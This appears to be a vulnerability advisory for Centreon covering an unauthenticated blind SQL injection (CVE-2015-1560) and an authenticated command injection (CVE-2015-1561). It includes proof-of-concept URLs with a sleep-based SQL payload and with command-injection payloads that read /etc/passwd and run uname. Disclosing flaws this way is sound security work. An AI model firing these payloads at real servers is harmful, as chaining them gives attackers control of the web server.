================================
Finding 1: Unauthenticated Blind SQL injection in isUserAdmin function (CVE-2015-1560)
================================
Vulnerable function is "isUserAdmin" (defined in include/common/common-Func.php), in which unsanitized "sid" GET parameter is used in a SQL request.

PoC:
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?si
d=%27%2Bif(1%3C2,sleep(1),%27%27)%2B%27
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?si
d=%27%2Bif(1%3C0,sleep(1),%27%27)%2B%27

By exploiting CVE-2015-1560, an attacker can obtain among others a valid session_id, which is required to exploit CVE-2015-1561.

================================
Finding 2: Authenticated Command Execution in getStats.php (CVE-2015-1561)
================================
$command_line variable, which is passed to popen function, is constructed using unsanitized GET parameters.

PoC (a valid session_id value is required):
- Reading /etc/passwd by injecting command into "ns_id" parameter:
http://example.domain/centreon/include/Administration/corePerformance/ge
tStats.php?ns_id=|+more+/etc/passwd+%23&key=active_service_check&start=t
oday&session_id=[valid session_id]
- Injecting "uname ?a" into "end" parameter:
http://example.domain/centreon/include/Administration/corePerformance/ge
tStats.php?ns_id=1&key=active_service_check&start=today&end=|+uname+-a+%
23&session_id=[valid session_id]

Combining two vulnerabilities, an unauthenticated attacker can take control of the web server.
